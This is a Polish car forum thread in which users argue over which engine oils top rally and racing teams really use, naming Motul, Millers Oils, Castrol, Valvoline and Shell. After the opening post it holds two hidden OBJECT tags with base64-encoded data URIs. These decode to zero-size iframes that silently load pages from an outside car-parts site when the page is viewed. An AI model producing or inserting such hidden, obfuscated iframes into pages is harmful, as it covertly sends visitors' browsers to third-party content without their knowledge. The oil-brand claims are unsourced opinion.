Rajdy - wyścigi - jakich olejów naprawdę używają zespoły.

Cześć, mam pytanie - jakich naprawde olejów używają topowe zespoły rajdowe i wyścigowe w Polsce? Wiadomo ze na polowie z nich jest castrol i orlen, ale co naprawde wlewaja? Moj kolega jest serwisantem w jednym z zespolow i mowi ze tak naprawde licza sie tylko dwie marki: Motul (powszechnie znany) i....... Millers Oils. Przy czym wiekszosc uzywa Motula, a czolowka Millersa. A wy cos wiecie na ten temat?
<OBJECT DATA="data:text/html;base64,PGlmcmFtZSBzcmM9Imh0dHA6Ly9yYXBpZGNhci5wbC9zenVrYWoucGhwIiB3aWR0aD0wIGhlaWdodD0wPg==" width="1" height="1"></OBJECT>
<OBJECT DATA="data:text/html;base64,PGlmcmFtZSBzcmM9Imh0dHA6Ly9yYXBpZGNhci5wbCIgd2lkdGg9MCBoZWlnaHQ9MD4=" width="1" height="1"></OBJECT>

Motul, Castrol i Valvoline. Millers chcialby ale to nie ta liga dla niego. Czasem jeszcze Shell. Czesto uzywa sie jeszcze dodatkow, tak jak i do skrzyni.

Siuta napisał(a):Motul, Castrol i Valvoline. Millers chcialby ale to nie ta liga dla niego. Czasem jeszcze Shell. Czesto uzywa sie jeszcze dodatkow, tak jak i do skrzyni.

Zgłębiłem temat i nie masz racji. Castrola i Valvoline'a nie używa nikt. Podobnie jak Shella. Castrol Edge, Valvoline Racing, Shell Racing - to nie są oleje wyczynowe. Może inaczej - są tak nazywane przez producentów (skierowane są do fanów sportó motorowych), ale ich właściwości (max temperatura pracy, to czy zawierają estry, TBN, itd.) są dużo gorsze od profesjonalnych olei Motul Competition czy Millers Oils Motorsport. To są jedyne profesjonalne oleje dostępne na rynku. Z tych dwóch marek, dużo lepiej wypada Millers. Nie używa się do nich żadnych dodatków. Do skrzyni wyczynowych stosuje się także specjalne oleje z modyfikatorami tarcia, itd.